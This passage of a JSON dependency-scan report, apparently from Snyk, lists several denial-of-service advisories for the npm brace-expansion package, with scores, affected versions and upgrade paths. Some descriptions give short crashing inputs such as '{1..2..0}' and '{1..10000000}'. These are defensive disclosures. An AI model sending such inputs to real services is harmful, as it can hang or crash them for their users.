"2026-06-30T11:38:19.961909Z", "severityBasedOn": "CVSS", "modificationTime": "2026-08-24T14:04:38.442182Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "@npmcli/metavuln-calculator@9.0.3", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "@npmcli/metavuln-calculator@9.0.3", "cacache@20.0.4", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.9" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-18313044", "title": "Allocation of Resources Without Limits or Throttling", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "bnbdr" ], "semver": { "vulnerable": [ "<1.1.16", ">=2.0.0 <2.1.2", ">=3.0.0 <5.0.8" ] }, "exploit": "Proof of Concept", "fixedIn": [ "1.1.16", "2.1.2", "5.0.8" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/commit/a1bd33999ea75262c4749fff3bbb0d1372bd07b5", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-08-05T05:35:10.598547Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-08-24T14:06:14.560643Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-24T14:06:14.560643Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-05T05:35:10.598547Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the `expand()` function and its recursive `expand_` helper, which cap the number of results via the `max` option but do not bound the length of each result string. An attacker can crash the Node process with a fatal, uncatchable out-of-memory error by supplying a pattern that chains many brace groups, such as `{a,b}` repeated, keeping the result count under `max` while each result grows with the group count so total output scales unbounded. Exploitation requires the application to pass untrusted input to `expand()`, directly or transitively through `minimatch` or `glob` brace patterns.\r\n\r\n## Workaround\r\n\r\nThis vulnerability can be avoided by passing small explicit `max` and `maxLength` options to `expand()`, bounding both the number of results and the length of each so total output stays limited.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.16, 2.1.2, 5.0.8 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/a1bd33999ea75262c4749fff3bbb0d1372bd07b5)\n", "epssDetails": { "percentile": "0.38245", "probability": "0.00466", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-14257" ], "CWE": [ "CWE-770" ], "GHSA": [ "GHSA-mh99-v99m-4gvg" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-07-26T09:53:40.727617Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-07-23T15:49:26Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-07-26T09:53:40.907374Z", "severityBasedOn": "CVSS", "modificationTime": "2026-08-24T14:06:14.560643Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "@npmcli/metavuln-calculator@9.0.3", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "@npmcli/metavuln-calculator@9.0.3", "cacache@20.0.4", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.9" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-18512280", "title": "Allocation of Resources Without Limits or Throttling", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "Alessio Della Libera" ], "semver": { "vulnerable": [ "<1.1.18", ">=2.0.0 <2.1.4", ">=3.0.0 <3.0.6", ">=4.0.0 <5.0.9" ] }, "exploit": "Proof of Concept", "fixedIn": [ "1.1.18", "2.1.4", "3.0.6", "5.0.9" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-rgw5-rvv9-x895", "title": "GitHub Advisory" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/139d015104e71433ad52a41d19467c48ecbb2c7d", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/1e30c930238d7162802d88a94189182def178dac", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/688a99eeaab02627c2b89ba8ba4821fecfa659cf", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/cb4b9e47cc2ec777c14b2b4492fb431a56f6a031", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-08-04T05:26:55.391275Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-08-24T14:06:37.934109Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-24T14:06:37.934109Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-04T05:26:55.391275Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the `expand()`, `expand_()`, `combine()`, and `expandSequence()` functions, which bound the accumulator where results are combined but not the intermediate arrays that feed it. An attacker can crash the process with an uncatchable out-of-memory error, or stall the event loop for minutes, by supplying a pattern with many comma-separated alternatives that each receive an independent `maxLength` allowance and accumulate without a cumulative limit, or a padded sequence whose generation ignores `maxLength` and does work proportional to `max * width`. Exploitation requires the application to pass untrusted input to `expand()`, directly or transitively through a glob or pattern-matching library.\r\n\r\n## Workaround\r\n\r\nThis vulnerability can be avoided by passing an explicitly small `max` together with a small `maxLength` to `expand()`, bounding both the result count and length, since a small `maxLength` alone is insufficient on affected versions where it is applied per alternative rather than cumulatively.\r\n\r\n**Note:** This is a bypass of the fix for the vulnerability described in [CVE-2026-14257](https://security.snyk.io/vuln/SNYK-JS-BRACEEXPANSION-18313044).\n## Remediation\nUpgrade `brace-expansion` to version 1.1.18, 2.1.4, 3.0.6, 5.0.9 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-rgw5-rvv9-x895)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/139d015104e71433ad52a41d19467c48ecbb2c7d)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/1e30c930238d7162802d88a94189182def178dac)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/688a99eeaab02627c2b89ba8ba4821fecfa659cf)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/cb4b9e47cc2ec777c14b2b4492fb431a56f6a031)\n", "epssDetails": { "percentile": "0.47168", "probability": "0.00623", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-69152" ], "CWE": [ "CWE-770" ], "GHSA": [ "GHSA-rgw5-rvv9-x895" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-08-03T18:50:29.684875Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-08-03T16:35:32Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-08-03T18:50:29.862827Z", "severityBasedOn": "CVSS", "modificationTime": "2026-08-24T14:06:37.934109Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "@npmcli/metavuln-calculator@9.0.3", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "@npmcli/metavuln-calculator@9.0.3", "cacache@20.0.4", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.9" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-15789759", "title": "Infinite loop", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "credit": [ "Subhash Dasyam" ], "semver": { "vulnerable": [ "<1.1.13", ">=2.0.0 <2.0.3", ">=3.0.0 <3.0.2", ">=4.0.0 <5.0.5" ] }, "exploit": "Not Defined", "fixedIn": [ "1.1.13", "2.0.3", "3.0.2", "5.0.5" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-f886-m6hf-6m8v", "title": "GitHub Advisory" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/311ac0d54994158c0a384e286a7d6cbb17ee8ed5", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/7fd684f89fdde3549563d0a6522226a9189472a2", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/9a02af5c5c80731fae470cc3218c16876bb25051", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/b9cacd9e55e7a1fa588fe4b7bb1159d52f1d902a", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts%23L107-L113", "title": "Vulnerable Code" }, { "url": "https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts%23L184", "title": "Vulnerable Code" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 6.5, "modificationTime": "2026-04-03T12:57:19.951777Z" }, { "assigner": "NVD", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-04-22T17:49:48.167901Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-07-16T02:01:19.320993Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-07-16T02:01:19.320993Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 6.5, "cvssVersion": "3.1", "modificationTime": "2026-04-03T12:57:19.951777Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "NVD", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-04-22T17:49:48.167901Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Infinite loop through the `expand` function when processing a brace pattern with a zero step value. An attacker can cause the process to hang and exhaust system memory by supplying specially crafted input, such as `{1..2..0}`. This can lead to significant resource consumption and denial of service. \r\n\r\n## Workaround \r\n\r\nThis vulnerability can be mitigated by sanitizing strings passed to `expand` to ensure a step value of `0` is not used.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.13, 2.0.3, 3.0.2, 5.0.5 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-f886-m6hf-6m8v)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/311ac0d54994158c0a384e286a7d6cbb17ee8ed5)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/7fd684f89fdde3549563d0a6522226a9189472a2)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/9a02af5c5c80731fae470cc3218c16876bb25051)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/b9cacd9e55e7a1fa588fe4b7bb1159d52f1d902a)\n- [Vulnerable Code](https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L107-L113)\n- [Vulnerable Code](https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L184)\n", "epssDetails": { "percentile": "0.34118", "probability": "0.00430", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-33750" ], "CWE": [ "CWE-835" ], "GHSA": [ "GHSA-f886-m6hf-6m8v" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-03-27T07:45:56.244707Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-03-26T18:29:42Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-03-27T07:45:56.429154Z", "severityBasedOn": "CVSS", "modificationTime": "2026-07-16T02:01:19.320993Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "@npmcli/arborist@9.4.0", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "@npmcli/arborist@9.9.1", "cacache@20.0.4", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.9" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-16755174", "title": "Allocation of Resources Without Limits or Throttling", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "credit": [ "Subhash Dasyam" ], "semver": { "vulnerable": [ ">=5.0.2 <5.0.6" ] }, "exploit": "Not Defined", "fixedIn": [ "5.0.6" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-jxxr-4gwj-5jf2", "title": "GitHub Advisory" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/c0b095bdc52bc4c36dc88deddbadabc49f8371e5", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 6.5, "modificationTime": "2026-06-17T06:25:12.562488Z" }, { "assigner": "NVD", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-06-04T01:21:30.391276Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-08-18T02:01:26.570047Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-18T02:01:26.570047Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 6.5, "cvssVersion": "3.1", "modificationTime": "2026-06-17T06:25:12.562488Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "NVD", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-06-04T01:21:30.391276Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling through the `max` option being applied after generating all elements in a large numeric range. An attacker can exhaust system memory and processing resources by submitting input such as `{1..10000000}` that causes excessive allocation and computation before the output is limited.\r\n\r\n## Workaround \r\n\r\nThis vulnerability can be mitigated by ensuring the string to be expanded does not contain more values than the desired `max` item count.\n## Remediation\nUpgrade `brace-expansion` to version 5.0.6 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-jxxr-4gwj-5jf2)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/c0b095bdc52bc4c36dc88deddbadabc49f8371e5)\n", "epssDetails": { "percentile": "0.22128", "probability": "0.00300", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-45149" ], "CWE": [ "CWE-770" ], "GHSA": [ "GHSA-jxxr-4gwj-5jf2" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-05-19T09:10:10.822382Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-05-18T16:22:01Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-05-19T09:10:11.009629Z", "severityBasedOn": "CVSS", "modificationTime": "2026-08-18T02:01:26.570047Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "@npmcli/arborist@9.4.0", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "@npmcli/arborist@9.9.1", "cacache@20.0.4", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.9" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-17706650", "title": "Inefficient Algorithmic Complexity", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "credit": [ "Unknown" ], "semver": { "vulnerable": [ "<1.1.16", ">=2.0.0 <2.1.2", ">=3.0.0 <5.0.7" ] }, "exploit": "Not Defined", "fixedIn": [ "1.1.16", "2.1.2", "5.0.7" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/commit/c7e33ec13ac1a684c116720843ce24e208611754", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/d74e63030c012e3b7ae81657b8d665619cd51b95", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-07-01T06:56:21.683579Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-08-24T14:04:38.442182Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-24T14:04:38.442182Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-07-01T06:56:21.683579Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Inefficient Algorithmic Complexity via the `expand` function. An attacker can cause excessive CPU consumption and block the event loop by supplying a specially crafted string containing multiple consecutive non-expanding '{}' brace groups. The `max` option does not prevent this issue, as it only limits the output size and not the computational workload.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.16, 2.1.2, 5.0.7 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/c7e33ec13ac1a684c116720843ce24e208611754)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/d74e63030c012e3b7ae81657b8d665619cd51b95)\n", "epssDetails": { "percentile": "0.29069", "probability": "0.00364", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-13149" ], "CWE": [ "CWE-407" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-06-30T11:38:19.757696Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-06-30T11:25:01Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-06-30T11:38:19.961909Z", "severityBasedOn": "CVSS", "modificationTime": "2026-08-24T14:04:38.442182Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "@npmcli/arborist@9.4.0", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "@npmcli/arborist@9.9.1", "cacache@20.0.4", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.9" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-18313044", "title": "Allocation of Resources Without Limits or Throttling", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "bnbdr" ], "semver": { "vulnerable": [ "<1.1.16", ">=2.0.0 <2.1.2", ">=3.0.0 <5.0.8" ] }, "exploit": "Proof of Concept", "fixedIn": [ "1.1.16", "2.1.2", "5.0.8" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/commit/a1bd33999ea75262c4749fff3bbb0d1372bd07b5", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-08-05T05:35:10.598547Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-08-24T14:06:14.560643Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-24T14:06:14.560643Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-05T05:35:10.598547Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the `expand()` function and its recursive `expand_` helper, which cap the number of results via the `max` option but do not bound the length of each result string. An attacker can crash the Node process with a fatal, uncatchable out-of-memory error by supplying a pattern that chains many brace groups, such as `{a,b}` repeated, keeping the result count under `max` while each result grows with the group count so total output scales unbounded. Exploitation requires the application to pass untrusted input to `expand()`, directly or transitively through `minimatch` or `glob` brace patterns.\r\n\r\n## Workaround\r\n\r\nThis vulnerability can be avoided by passing small explicit `max` and `maxLength` options to `expand()`, bounding both the number of results and the length of each so total output stays limited.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.16, 2.1.2, 5.0.8 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/a1bd33999ea75262c4749fff3bbb0d1372bd07b5)\n", "epssDetails": { "percentile": "0.38245", "probability": "0.00466", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-14257" ], "CWE": [ "CWE-770" ], "GHSA": [ "GHSA-mh99-v99m-4gvg" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-07-26T09:53:40.727617Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-07-23T15:49:26Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-07-26T09:53:40.907374Z", "severityBasedOn": "CVSS", "modificationTime": "2026-08-24T14:06:14.560643Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "@npmcli/arborist@9.4.0", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "@npmcli/arborist@9.9.1", "cacache@20.0.4", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.9" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-18512280", "title": "Allocation of Resources Without Limits or Throttling", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "Alessio Della Libera" ], "semver": { "vulnerable": [ "<1.1.18", ">=2.0.0 <2.1.4", ">=3.0.0 <3.0.6", ">=4.0.0 <5.0.9" ] }, "exploit": "Proof of Concept", "fixedIn": [ "1.1.18", "2.1.4", "3.0.6", "5.0.9" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-rgw5-rvv9-x895", "title": "GitHub Advisory" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/139d015104e71433ad52a41d19467c48ecbb2c7d", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/1e30c930238d7162802d88a94189182def178dac", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/688a99eeaab02627c2b89ba8ba4821fecfa659cf", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/cb4b9e47cc2ec777c14b2b4492fb431a56f6a031", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", 